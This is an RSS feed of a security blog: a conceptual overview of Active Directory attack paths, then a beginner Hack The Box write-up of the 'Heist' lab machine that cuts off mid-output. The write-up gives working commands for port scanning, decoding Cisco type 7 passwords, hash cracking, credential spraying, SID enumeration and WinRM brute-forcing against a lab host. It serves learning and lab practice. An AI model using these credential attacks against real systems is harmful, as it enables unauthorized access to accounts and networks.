<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: SSHad0w</title>
    <description>The latest articles on Forem by SSHad0w (@sshad0w).</description>
    <link>https://forem.com/sshad0w</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F376546%2F48051745-13b2-408f-81d9-43b95912ff2a.png</url>
      <title>Forem: SSHad0w</title>
      <link>https://forem.com/sshad0w</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/sshad0w"/>
    <language>en</language>
    <item>
      <title>30D2R - August: Active Directory</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Sun, 31 Aug 2025 03:49:09 +0000</pubDate>
      <link>https://forem.com/sshad0w/30d2r-august-active-directory-2c8b</link>
      <guid>https://forem.com/sshad0w/30d2r-august-active-directory-2c8b</guid>
      <description>&lt;p&gt;This post is a part of my &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;30 Days 2 Root&lt;/a&gt; challenge series.&lt;br&gt;
Essentially, I am trying to learn the basics of a different facet of cybersecurity each month. &lt;a href="https://dev.to/sshad0w/30-days-to-root-challenge-introduction-3idp"&gt;Click here&lt;/a&gt; to learn about how the challenge works, or tell me what I should study next!&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Active Directory is a map
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Each organization is a world that needs a map to navigate the lay of the land. With this map, administrators know where the valuable things are.&lt;/p&gt;

&lt;p&gt;The issue is...&lt;br&gt;&lt;br&gt;
Once attackers own this map, they don't only know &lt;em&gt;where&lt;/em&gt; the valuable things are, they can control the borders. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  2. A breakdown of its components
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Active Directory services are used in the fortune 500.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It's essentially a giant rulebook for an organization that says who can do what, and what they can access, and how they can access resources.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Core components:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Users:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Individual users with specific security roles and privileges.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Groups:&lt;/strong&gt; &lt;br&gt;
Groups are collections of users with specific roles and privileges.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Computer accounts:&lt;/strong&gt;&lt;br&gt;
Computer accounts are a special type of user with "machine accounts". These often run automated scripts that may read or write to resources on a scheduled interval or if specific conditions are met.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Domain controllers:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
These are specific nodes that hold a snapshot of what the map should look like, include the users, groups and permissions associated with the environment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Organizational units:&lt;/strong&gt;&lt;br&gt;
These are larger groups. These may have blanket rules applied to them as a whole.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Group policy objects:&lt;/strong&gt;&lt;br&gt;
The rules set for each organizational unit.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;The Active Directory runs on the back of of LDAP (RFC 4511 and 4519) and Kerberos (RFC 4120)&lt;/p&gt;

&lt;p&gt;Once we get into authentication schemes and access control, this will be referenced again.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Why attackers &lt;em&gt;still&lt;/em&gt; care about AD
&lt;/h2&gt;

&lt;p&gt;Whoever controls the map controls the routes. Who may walk to which regions, who gets stopped and questioned, and who is allowed to access specific resources&lt;/p&gt;

&lt;p&gt;Attackers may redraw the map in their own favor (basically gerrymandering)&lt;br&gt;&lt;br&gt;
Granting themselves secret roads, or erasing evidence of their own wrongdoing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Persistence
Even if defenders rebuild some towns (Resetting passwords, patching, etc.)
Attackers can still redraw boundaries at their whim.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Compromising AD isn't like capturing a castle, but controlling GPS. All travelers follow the attacker's false reality.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Active Directory attack paths
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Password spraying:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Once inside of an AD environment, attackers can spray for passwords on various users, machine accounts, and domain controllers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Group Policy:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Since active directory allows multiple users to be managed by a single policy, attackers that can control, modify and set group policies can apply rules to users arbitrarily.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kerberos ticket abuse:&lt;/strong&gt;&lt;br&gt;
(Kerberoasting, Golden ticket, silver ticket attacks).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Over permissive service accounts:&lt;/strong&gt;&lt;br&gt;
This is is very common attack path for attackers. Often times a service account with a simple password or compromised service tied to a machine account with too many permissions may also allow full domain compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross domain trusts:&lt;/strong&gt;&lt;br&gt;
This can allow for multiple domains to be compromised all at once, and may bring down large organizations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why clients care
&lt;/h2&gt;

&lt;p&gt;All enterprises rely on AD for identity management. Without it, it will be extremely different to manage users at scale.&lt;/p&gt;

&lt;p&gt;Ransomware groups, APTs and threat actors go directly for it post compromise.&lt;/p&gt;

&lt;p&gt;Once the map is taken, there is no defense. All paths can be compromised.&lt;/p&gt;

&lt;h2&gt;
  
  
  The wrap
&lt;/h2&gt;

&lt;p&gt;This is an overly simplistic explanation for future posts. This blog merely explains "what AD is" and breadth of common attacks. Even viewing Active directory as the map gives you the edge many attackers nor defenders ever understand.&lt;/p&gt;

&lt;p&gt;Never forget: &lt;/p&gt;

&lt;p&gt;Always ask better questions.&lt;/p&gt;

</description>
      <category>activedirectory</category>
      <category>security</category>
      <category>networking</category>
      <category>30d2r</category>
    </item>
    <item>
      <title>Hack The Box Writeup: Heist</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Fri, 05 Jul 2024 13:59:00 +0000</pubDate>
      <link>https://forem.com/sshad0w/hack-the-box-writeup-heist-2jk5</link>
      <guid>https://forem.com/sshad0w/hack-the-box-writeup-heist-2jk5</guid>
      <description>&lt;p&gt;This is a beginner friendly writeup of Heist on Hack The Box. hope you learn something, because I sure did! Be sure to comment if you have any questions!&lt;/p&gt;

&lt;h1&gt;
  
  
  Recon
&lt;/h1&gt;

&lt;h2&gt;
  
  
  /etc/hosts
&lt;/h2&gt;

&lt;p&gt;In order to properly resolve our IP to a hostname, we'll need to map it's IP to a hostname using local DNS. This way, we won't need to type the IP address each time we'd like to communicate with the machine. In order to do this, we'll need to use the command &lt;code&gt;sudo vi /etc/hosts&lt;/code&gt;, type in our password, and follow the convention within the file (IP address [TAB] domain name) to add it to the file on the next line.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick nmap
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap 10.10.10.149 -p-
Nmap scan report for 10.10.10.149
Host is up (0.032s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 161.65 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Full nmap scan
&lt;/h2&gt;

&lt;p&gt;My full nmap scan uses the following options:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nmap -sCV -p 80,135,445,5985,49669 -o heist.nmap heist.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;-sV: Detects service versions&lt;br&gt;
-sC: Runs safe scripts (using the NSE)&lt;br&gt;
-p: Scans selected ports&lt;br&gt;
-o: Outputs in normal format. (With filename "heist.nmap")&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Nmap 7.93 scan initiated Tue Jun 20 10:59:56 2023 as: nmap -sVC -p 80,135,445,5985,49669 -oN heist.nmap 10.10.10.149
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.031s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-06-20T15:00:50
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_clock-skew: -2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 20 11:01:31 2023 -- 1 IP address (1 host up) scanned in 95.02 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Port 80
&lt;/h2&gt;

&lt;p&gt;On HTTP, I see a login portal. The page is &lt;code&gt;login.php&lt;/code&gt;, so we'll take note of the server side language.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fchyojav9dlm2voc0839r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fchyojav9dlm2voc0839r.png" alt="Image description" width="800" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Wappalyzer
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.wappalyzer.com/"&gt;Wappalyzer&lt;/a&gt; is a fantastic tool for easy investigation of back-end web technologies. It's a simple browser extension that can be installed on firefox.&lt;/p&gt;

&lt;p&gt;Here's the output of the tool for this machine: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffu5zw31xn9qna0vxe6nd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffu5zw31xn9qna0vxe6nd.png" alt="Image description" width="580" height="630"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's click that "login as guest" button&lt;/p&gt;

&lt;h3&gt;
  
  
  /issues.php
&lt;/h3&gt;

&lt;p&gt;We're met with a page called &lt;code&gt;issues.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firzcmbzicxwxt3dgr3cz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firzcmbzicxwxt3dgr3cz.png" alt="Image description" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Keep in mind that we just learned 2 new usernames. User "Hazard" and user "Support admin". This may or may not be useful information later, but this is important in the enumeration process!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's have a look at that attachment:&lt;/p&gt;

&lt;h3&gt;
  
  
  /attachments/config.txt
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the config file, there are usernames and hashed passwords. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://passlib.readthedocs.io/en/stable/lib/passlib.hash.cisco_type7.html#:~:text=Format%20%26%20Algorithm,%22password%22%20%20is%20044B0A151C36435C0D%20."&gt;Cisco type 7 passwords are vulnerable due to the a weak hashing algorithim.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To quote the documentation: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The “Type 7” password encoding used Cisco IOS. This is not actually a true hash, but a reversible XOR Cipher encoding the plaintext password. Type 7 strings are (and were designed to be) plaintext equivalent; the goal was to protect from “over the shoulder” eavesdropping, and little else. They can be trivially decoded. "&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Invalid creds
&lt;/h2&gt;

&lt;p&gt;After inputting these credentials into the login page, we see that there isn't password reuse from the config file to the login page. &lt;/p&gt;

&lt;h3&gt;
  
  
  /errorpage.php
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1oop7ibegkwnu8nbdgld.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1oop7ibegkwnu8nbdgld.png" alt="Image description" width="752" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Cisco type 7 Password decryption
&lt;/h2&gt;

&lt;p&gt;After reading the docs on the "hashing" algorithm, we could write our own code to do this, but &lt;a href="https://github.com/theevilbit/ciscot7.git"&gt;there's a GitHub repo made for this.&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 ciscot7.py -p 0242114B0E143F015F5D1E161713
Decrypted password: $uperP@ssword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 ciscot7.py -p 02375012182C1A1D751618034F36415408
Decrypted password: Q4)sJu\Y8qz*A3?d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have usernames and passwords, we can keep moving forward and try these whenever authentication is required.&lt;/p&gt;

&lt;h2&gt;
  
  
  MD5 cracking with hashcat
&lt;/h2&gt;

&lt;p&gt;The other hash is MD5. We know how to crack an MD5 hash easily.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you've never cracked MD5 hash before, go to my &lt;a href="https://dev.to/sshad0w/hack-the-box-writeup-previse-sshad0w-4p33"&gt;Previse HackTheBox writeup&lt;/a&gt; where we crack a few passwords very similar to this one, and I explain the anatomy of a password in more detail.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Credential spraying with crackmapexec
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;NOTE: The last time I rooted this machine, it was July 2023. At time of editing, (July 2024), CrackMapExec has been deprecated, and it's generally recommended to use &lt;a href="https://github.com/Pennyw0rth/NetExec"&gt;NetExec (NXC)&lt;/a&gt;. The syntax should be very similar, and it should get you through this portion of the writeup.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By this point, we've collected many credentials. Let's make a file of our usernames, and a file of collected passwords for some password spraying attacks.&lt;/p&gt;

&lt;p&gt;Users.txt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rout3r
admin
hazard
support_admin
support
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;pwds.txt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$uperP@ssword
Q4)sJu\Y8qz*A3?d
stealth1agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Since I use ParrotOS as my main distro, I had to install CrackMapExec, and I had lots of issues. If you're like me, &lt;em&gt;don't&lt;/em&gt; download from GitHub or use apt, download CrackMapExec using the following command: &lt;code&gt;pip3 install crackmapexec&lt;/code&gt; it will save you lots of time and dependency issues! It's even automatically adds it to /usr/bin, so you can call it from anywhere! &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now we'll run the following:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;crackmapexec smb -u users.txt -p pwds.txt --shares heist.htb&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;crackmapexec smb -u users.txt -p pwds.txt --shares heist.htb
[*] Generating SSL certificate
SMB         heist.htb       445    SUPPORTDESK      [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\hazard:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         heist.htb       445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         heist.htb       445    SUPPORTDESK      [+] Enumerated shares
SMB         heist.htb       445    SUPPORTDESK      Share           Permissions     Remark
SMB         heist.htb       445    SUPPORTDESK      -----           -----------     ------
SMB         heist.htb       445    SUPPORTDESK      ADMIN$                          Remote Admin
SMB         heist.htb       445    SUPPORTDESK      C$                              Default share
SMB         heist.htb       445    SUPPORTDESK      IPC$            READ            Remote IPC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We've hit a match! &lt;/p&gt;

&lt;p&gt;Now we've confirmed a few things:&lt;/p&gt;

&lt;p&gt;1) Our target's hostname is named &lt;code&gt;SupportDesk&lt;/code&gt;&lt;br&gt;
2) The credentials &lt;code&gt;hazard:stealth1agent&lt;/code&gt; are used at least once. This may be important for password reuse attacks later.&lt;/p&gt;

&lt;p&gt;Since we only have read access, there's not much we can do for more access.&lt;/p&gt;
&lt;h2&gt;
  
  
  Impacket-lookupsid
&lt;/h2&gt;

&lt;p&gt;LookUpSID allows us to look up the systemID of different users using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;impacket-lookupsid "hazard:stealth1agent"@heist.htb
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Brute forcing SIDs at heist.htb
[*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, we can add these users to our username list.&lt;/p&gt;

&lt;h2&gt;
  
  
  RPC Client
&lt;/h2&gt;

&lt;p&gt;According to tenfold-security.com, here's a little bit about SID's in windows: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;SIDs always follow the same structure, with values separated by dashes:&lt;br&gt;
S: The letter S indicates that this string is a SID.&lt;br&gt;
1: The second position shows the revision level, i.e. the version of the SID specification. It has never been changed from 1.&lt;br&gt;
5: The third position marks the identifier authority, which is typically 5 for NT Authority.&lt;br&gt;
Domain or local computer identifier: This 48-bit string identifies the computer or domain that created the SID.&lt;br&gt;
Relative ID (RID): The RID consists of four numbers and uniquely identifies a security principal in the local domain. RIDs not created by default by windows will have a value of 1000 or greater.&lt;/p&gt;

&lt;p&gt;When you put it all together, an example of a SID could look like this:&lt;/p&gt;

&lt;p&gt;S-1-5-43-4342332-4365423-981231-1015&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://www.tenfold-security.com/en/wiki/sid-security-identifier/"&gt;You can read the full article here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers"&gt;The official  documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;rpcclient -U "hazard%stealth1agent" heist.htb&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rpcclient $&amp;gt; lookupnames administrator
administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we see the RID for the admin account is 500. (This was just a test- the administrator account always has a RID of 500!)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rpcclient $&amp;gt; lookupnames guest
guest S-1-5-21-4254423774-1266059056-3197185112-501 (User: 1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From there, we can continue to increment our requests to find new accounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pcclient $&amp;gt; lookupnames administrator
administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1)
rpcclient $&amp;gt; lookupnames guest
guest S-1-5-21-4254423774-1266059056-3197185112-501 (User: 1)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-502
S-1-5-21-4254423774-1266059056-3197185112-502 *unknown*\*unknown* (8)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-503
S-1-5-21-4254423774-1266059056-3197185112-503 SUPPORTDESK\DefaultAccount (1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we have a username, we can look it up.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rpcclient $&amp;gt; lookupnames hazard
hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;On windows systems, the first user typically has the SID of 1000, so now we know there are at least 9 users on this machine. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's try a manual bruteforce to find more accounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rpcclient $&amp;gt; lookupnames hazard
hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (1)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1009
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (1)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1010
S-1-5-21-4254423774-1266059056-3197185112-1010 *unknown*\*unknown* (8)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1011
S-1-5-21-4254423774-1266059056-3197185112-1011 *unknown*\*unknown* (8)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1012
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (1)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1013
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (1)
rpcclient $&amp;gt; lookupsids S-1-5-21-4254423774-1266059056-3197185112-1014
S-1-5-21-4254423774-1266059056-3197185112-1014 *unknown*\*unknown* (8)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Crackmapexec winrm
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;crackmapexec winrm 10.10.10.149 -u hazard -p stealth1agent
[*] Generating SSL certificate
SMB         10.10.10.149    5985   NONE             [*] None (name:10.10.10.149) (domain:None)
HTTP        10.10.10.149    5985   NONE             [*] http://10.10.10.149:5985/wsman
WINRM       10.10.10.149    5985   NONE             [-] None\hazard:stealth1agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Tool I found to bruteforce logins
&lt;/h2&gt;

&lt;p&gt;Avoiding msf with one simple trick! (Use bundle install)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/y0k4i-1337/winrm-brute"&gt;https://github.com/y0k4i-1337/winrm-brute&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bundle exec winrm-brute.rb -U ../users.txt -P ../pwds.txt heist.htb&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Since this program requires the .bundle file to be used while running it, you'll need to execute it from inside the &lt;code&gt;winrm-brute&lt;/code&gt; directory and reference a relative (or absolute) path to your username and password files!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your output should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rying rout3r:stealth1agent
Trying admin:$uperP@ssword
Trying admin:Q4)sJu\Y8qz*A3?d
Trying admin:stealth1agent
Trying hazard:$uperP@ssword
Trying hazard:Q4)sJu\Y8qz*A3?d
Trying hazard:stealth1agent
Trying support_admin:$uperP@ssword
Trying support_admin:Q4)sJu\Y8qz*A3?d
Trying support_admin:stealth1agent
Trying support:$uperP@ssword
Trying support:Q4)sJu\Y8qz*A3?d
